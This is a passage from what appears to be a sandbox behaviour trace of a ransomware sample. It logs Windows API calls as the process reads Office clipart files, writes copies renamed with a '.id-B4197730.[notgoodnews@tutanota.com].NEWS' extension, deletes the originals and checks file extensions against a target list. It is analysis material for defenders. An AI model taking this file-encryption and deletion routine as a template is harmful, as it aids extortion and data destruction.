office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.795] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.796] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.796] GetLastError () returned 0x0 [0194.796] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0xa90, lpOverlapped=0x0) returned 1 [0194.797] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0194.798] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.798] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.798] SetEndOfFile (hFile=0x350) returned 1 [0194.799] CloseHandle (hObject=0x350) returned 1 [0194.799] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.799] SetEndOfFile (hFile=0x370) returned 1 [0194.800] CloseHandle (hObject=0x370) returned 1 [0194.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0194.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.803] lstrlenW (lpString=".doc") returned 4 [0194.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString=".docx") returned 5 [0194.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.803] lstrlenW (lpString=".pdf") returned 4 [0194.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString=".xls") returned 4 [0194.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.803] lstrlenW (lpString=".xlsx") returned 5 [0194.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.803] lstrlenW (lpString=".ppt") returned 4 [0194.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.803] lstrlenW (lpString=".zip") returned 4 [0194.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.803] lstrlenW (lpString=".rar") returned 4 [0194.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString=".bz2") returned 4 [0194.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString=".7z") returned 3 [0194.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.803] lstrlenW (lpString=".dbf") returned 4 [0194.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.803] lstrlenW (lpString=".1cd") returned 4 [0194.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".jpg") returned 4 [0194.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".doc") returned 4 [0194.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString=".docx") returned 5 [0194.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.804] lstrlenW (lpString=".pdf") returned 4 [0194.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString=".xls") returned 4 [0194.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.804] lstrlenW (lpString=".xlsx") returned 5 [0194.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.804] lstrlenW (lpString=".ppt") returned 4 [0194.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".zip") returned 4 [0194.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.804] lstrlenW (lpString=".rar") returned 4 [0194.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString=".bz2") returned 4 [0194.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString=".7z") returned 3 [0194.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".dbf") returned 4 [0194.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".1cd") returned 4 [0194.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0194.804] lstrlenW (lpString=".jpg") returned 4 [0194.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.805] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.805] lstrlenW (lpString="HH02166_.WMF") returned 12 [0194.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.805] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=1324) returned 1 [0194.805] CloseHandle (hObject=0x370) returned 1 [0194.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0194.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.805] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.805] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.806] GetLastError () returned 0x0 [0194.806] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x52c, lpOverlapped=0x0) returned 1 [0194.807] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0x530, lpOverlapped=0x0) returned 1 [0194.808] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.808] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.808] SetEndOfFile (hFile=0x350) returned 1 [0194.809] CloseHandle (hObject=0x350) returned 1 [0194.809] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.809] SetEndOfFile (hFile=0x370) returned 1 [0194.810] CloseHandle (hObject=0x370) returned 1 [0194.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0194.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.810] lstrlenW (lpString=".doc") returned 4 [0194.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".docx") returned 5 [0194.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.810] lstrlenW (lpString=".pdf") returned 4 [0194.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".xls") returned 4 [0194.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.810] lstrlenW (lpString=".xlsx") returned 5 [0194.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.811] lstrlenW (lpString=".ppt") returned 4 [0194.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString=".zip") returned 4 [0194.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.811] lstrlenW (lpString=".rar") returned 4 [0194.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".bz2") returned 4 [0194.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".7z") returned 3 [0194.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString=".dbf") returned 4 [0194.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString=".1cd") returned 4 [0194.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString=".jpg") returned 4 [0194.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.811] lstrlenW (lpString=".doc") returned 4 [0194.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".docx") returned 5 [0194.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.811] lstrlenW (lpString=".pdf") returned 4 [0194.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".xls") returned 4 [0194.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.811] lstrlenW (lpString=".xlsx") returned 5 [0194.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.811] lstrlenW (lpString=".ppt") returned 4 [0194.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.812] lstrlenW (lpString=".zip") returned 4 [0194.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.812] lstrlenW (lpString=".rar") returned 4 [0194.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString=".bz2") returned 4 [0194.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString=".7z") returned 3 [0194.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.812] lstrlenW (lpString=".dbf") returned 4 [0194.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.812] lstrlenW (lpString=".1cd") returned 4 [0194.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0194.812] lstrlenW (lpString=".jpg") returned 4 [0194.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.812] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.812] lstrlenW (lpString="HH02282_.WMF") returned 12 [0194.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.812] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=7932) returned 1 [0194.812] CloseHandle (hObject=0x370) returned 1 [0194.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0194.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.813] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.813] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.813] GetLastError () returned 0x0 [0194.813] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0194.814] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0194.816] ReadFile (in: hFile=0x370, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2a8fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.816] WriteFile (in: hFile=0x350, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc94, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2a8fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.816] SetEndOfFile (hFile=0x350) returned 1 [0194.816] CloseHandle (hObject=0x350) returned 1 [0194.816] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.816] SetEndOfFile (hFile=0x370) returned 1 [0194.817] CloseHandle (hObject=0x370) returned 1 [0195.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0195.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0196.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.053] lstrlenW (lpString=".doc") returned 4 [0196.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString=".docx") returned 5 [0196.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.054] lstrlenW (lpString=".pdf") returned 4 [0196.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString=".xls") returned 4 [0196.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.054] lstrlenW (lpString=".xlsx") returned 5 [0196.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.054] lstrlenW (lpString=".ppt") returned 4 [0196.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString=".zip") returned 4 [0196.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.054] lstrlenW (lpString=".rar") returned 4 [0196.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString=".bz2") returned 4 [0196.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString=".7z") returned 3 [0196.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString=".dbf") returned 4 [0196.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString=".1cd") returned 4 [0196.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString=".jpg") returned 4 [0196.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.054] lstrlenW (lpString=".doc") returned 4 [0196.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.054] lstrlenW (lpString=".docx") returned 5 [0196.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.055] lstrlenW (lpString=".pdf") returned 4 [0196.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString=".xls") returned 4 [0196.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.055] lstrlenW (lpString=".xlsx") returned 5 [0196.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.055] lstrlenW (lpString=".ppt") returned 4 [0196.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.055] lstrlenW (lpString=".zip") returned 4 [0196.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.055] lstrlenW (lpString=".rar") returned 4 [0196.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString=".bz2") returned 4 [0196.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString=".7z") returned 3 [0196.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.055] lstrlenW (lpString=".dbf") returned 4 [0196.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.055] lstrlenW (lpString=".1cd") returned 4 [0196.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0196.055] lstrlenW (lpString=".jpg") returned 4 [0196.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.055] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0196.055] lstrlenW (lpString="HH02298_.WMF") returned 12 [0196.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0196.056] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=5552) returned 1 [0196.056] CloseHandle (hObject=0x388) returned 1 [0196.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0196.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0196.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0196.056] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, 